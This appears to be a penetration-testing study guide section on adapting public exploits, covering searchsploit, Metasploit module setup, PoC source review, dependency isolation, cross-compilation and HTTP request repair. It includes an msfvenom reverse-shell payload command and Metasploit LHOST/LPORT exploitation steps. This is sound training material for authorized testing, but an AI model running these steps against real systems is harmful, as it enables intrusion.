10.5 Public Exploit Adaptation Cheatsheet

Need: An identified component/build and a candidate exploit with reviewable source. Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect

source URL/EDB-ID/CVE/commit:
product + component + edition/build:
target OS/architecture/runtime:
remote or local; pre-auth or authenticated:
required configuration/feature/path/credential/privilege:
expected effect:
exploit runtime and dependencies:
hard-coded target/callback/payload assumptions:
destructive or stability risk:
evidence each prerequisite exists:

Do not substitute a scanner label for component evidence. Check vendor/version output, application behavior, files/configuration and the exploit's own affected-version notes. Distribution backports, disabled features, authentication and mitigations can invalidate a simple version match.

searchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"

Inspect before copying:

searchsploit -p EDB_ID
searchsploit -x EDB_ID
searchsploit -w "PRODUCT VERSION"

Copy a working copy, never edit the archive in place:

mkdir -p exploit-work
cd exploit-work
searchsploit -m EDB_ID
sha256sum EXPLOIT_FILE
file EXPLOIT_FILE

A named Nmap NSE script can validate or exercise a specific known condition, but inspect it and its arguments first:

nmap --script-help SCRIPT_NAME
sed -n '1,240p' /usr/share/nmap/scripts/SCRIPT_NAME.nse
nmap -Pn -p PORT --script SCRIPT_NAME --script-args 'ARG=VALUE' TARGET

Script categories such as intrusive, exploit, brute or dos change risk and authorization requirements. A script-reported vulnerable result remains a candidate until its underlying evidence or controlled effect is validated.

git clone REPOSITORY_URL exploit-source
cd exploit-source
git log -1 --format='%H %ad %s' --date=iso-strict
git status --short

msfconsole -q
search type:exploit PRODUCT CVE
info MODULE_NAME
use MODULE_NAME
show options
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
check
run

Verify: Write the evidence for every prerequisite and the minimal effect that would validate the hypothesis.

If it fails: A scanner's CVE label or a copied walkthrough command is insufficient. Resolve the build/feature gap before running the PoC.

Need: An identified component/build and a candidate exploit with reviewable source. Reviewed source, understood network/file actions, correct interpreter and compatible isolated dependencies

Start with metadata and readable text:

file EXPLOIT_FILE
sha256sum EXPLOIT_FILE
sed -n '1,240p' EXPLOIT_FILE
grep -nEi 'sudo|setuid|chmod|chown|rm |unlink|remove|subprocess|system\(|popen|exec\(|socket|connect|requests|curl|wget|powershell|cmd\.exe|/bin/(ba)?sh|http://|https://' EXPLOIT_FILE

For binaries, prefer obtaining inspectable source. If only a binary exists, treat it as a substantially higher-risk choice:

file EXPLOIT_BINARY
sha256sum EXPLOIT_BINARY
strings -a EXPLOIT_BINARY | less
objdump -f EXPLOIT_BINARY

Audit for:

• unexpected privilege requirements on the attacking host;
• destructive file/process/service operations or denial of service;
• downloads, callbacks or telemetry to third parties;
• embedded credentials, tokens, commands or payloads;
• files written or overwritten and their cleanup behavior;
• hard-coded target addresses, ports, paths, virtual hosts and callback values;
• authentication, cookie, CSRF, redirect, TLS and proxy assumptions;
• target OS, architecture, runtime, library and payload assumptions;
• success messages that are printed without verifying the claimed effect.

Safety cue: use source, a disposable environment and a clean snapshot when uncertainty remains. Do not grant sudo merely because an unknown PoC requests it.

head -n 1 EXPLOIT_FILE
python3 --version
gcc --version
file EXPLOIT_FILE

Separate three architectures:

1. where the exploit program itself runs;
2. the vulnerable target process;
3. the payload that will execute inside or on the target.

A remote Python exploit may run on Kali while delivering a Windows x64 payload. A local Linux exploit normally must run on the target-compatible architecture. Compiler choice follows the produced program; payload choice follows the target execution context.

After source review:

python3 -m py_compile exploit.py
python3 exploit.py --help

Isolate explicit dependencies:

python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
python -m pip freeze > requirements-resolved.txt

Useful diagnostics:

python3 -X dev exploit.py ARGUMENTS
python3 -m trace --trace exploit.py ARGUMENTS

Use tracing only when its output is bounded and does not expose credentials. Prefer adding a few prints around the failing request/parser over changing many lines at once.

Use when: a source-based Python assessment tool has dependencies that should not modify Kali's system Python. This is setup/reference material, not authorization to install a tool.

10.5.13.1.6.1 Isolate the Python dependencies required by the reviewed tool Linux/Kali virtual environment

python3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt

Install one explicitly selected package only when needed:

python -m pip install PACKAGE

python -m pip show PACKAGE
python -m pip freeze
deactivate

PEP 668 intentionally protects externally managed system environments. Do not bypass it with --break-system-packages; use a venv or the distribution package when appropriate.

10.5.13.1.6.2 Run the procedure from a Windows PowerShell environment Windows PowerShell

py -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
deactivate

10.5.13.1.6.3 Record the runtime and dependencies needed to repeat the procedure Reproducibility checks

python --version
python -m pip --version
python -m pip freeze > requirements-resolved.txt

Record the tool source/commit, Python version, dependency file and exact command. Keep environments per tool when their dependency ranges conflict.

10.5.13.1.6.4 uv alternative for a Python PoC with missing dependencies

Use when uv is already available and the reviewed script needs a small dependency set. Keep the baseline venv workflow as an option when uv is absent.

10.5.13.1.6.4.1 Run outside the current project's dependencies, supplying the known dependency

# Run outside the current project's dependencies, supplying the known dependency
uv run --no-project --with requests exploit.py --help

10.5.13.1.6.4.2 For a script with its own inline dependency metadata

# For a script with its own inline dependency metadata
uv run --script exploit.py --help

Read: a working help/import path establishes the local runtime only. Inspect actual arguments, authentication and target requirements before execution. Pin dependency versions when the PoC depends on an older API; an ImportError and a target-side exploit failure are different boundaries. Dependency resolution can require Internet access.

Sources: upstream 1.

Verify: Confirm interpreter/dependency identity and observable intended request behavior; preserve the reviewed source and changes.

If it fails: Do not solve every old script with a global package change. Inspect Python-version semantics and choose a supported environment or minimal reviewed edit.

Need: An identified component/build and a candidate exploit with reviewable source. Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants

Linux/ELF program:

gcc -Wall -Wextra exploit.c -o exploit
file exploit
ldd exploit
sha256sum exploit

32-bit output requires matching headers/libraries:

gcc -m32 -Wall -Wextra exploit.c -o exploit32
file exploit32

Windows PE from Kali:

i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe
file exploit-x86.exe exploit-x64.exe

Windows socket code commonly needs the Winsock import library:

i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32

Change one assumption at a time and retain a diff:

cp EXPLOIT_FILE EXPLOIT_FILE.orig
git diff --no-index -- EXPLOIT_FILE.orig EXPLOIT_FILE

Typical adaptations are:

Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.

Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.

Review the PoC comments and code for:

• exact vulnerable build and target architecture;
• hard-coded target/callback address and port;
• return address/module assumptions and target profiles;
• recorded offset, available payload space and bad characters;
• payload architecture, type and exit behavior;
• crash/restart and reliability expectations.

Replace an embedded payload only when the PoC documents its constraints:

msfvenom -p windows/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f c -v payload \
  -b '\x00\x0a\x0d'

Use the PoC's actual bad-character and space requirements; the example list is not universal. A changed build, missing module, mitigation or misaligned offset invalidates the PoC and should not trigger a fresh exploit-development detour in this route.

Verify: Verify artifact format, architecture, required runtime and actual exploit effect independently.

If it fails: A crash is not a shell; wrong ABI, mitigation/configuration or constants can invalidate a candidate. Return to its prerequisites rather than inventing an exploit-development exercise.

Need: An identified component/build and a candidate exploit with reviewable source. A valid baseline transaction with correct host, base path, session/CSRF state and request encoding

Before changing the script, reproduce the relevant request with Burp or curl and compare:

curl -i -X METHOD 'SCHEME://HOSTNAME:PORT/PATH' \
  -H 'Host: HOSTNAME' \
  -H 'Cookie: COOKIE' \
  --data 'PARAM=VALUE'

For a scoped lab with a known self-signed certificate:

curl -k -i 'https://HOSTNAME:PORT/PATH'

In Python Requests, use a session when cookies or defaults must persist:

with requests.Session() as session:
    response = session.get(url, timeout=10)
    print(response.status_code, response.url)
    print(response.headers)
    print(response.text[:500])

Set verify=False only for a scoped test after confirming the certificate problem; it disables certificate and hostname validation. Prefer a supplied CA bundle when possible.

Parser cue: IndexError, missing-key and regular-expression failures mean the received response did not have the assumed shape. Print status, final URL, headers and a bounded body fragment before rewriting the parser. Common causes are a changed path, redirect, failed login, CSRF change, error page, proxy/WAF response or certificate handling.

Verify: Check the target action/output rather than trusting the PoC's success string.

If it fails: A normal HTTP response can be an authentication or parsing failure. Separate application request repair from payload/callback diagnosis.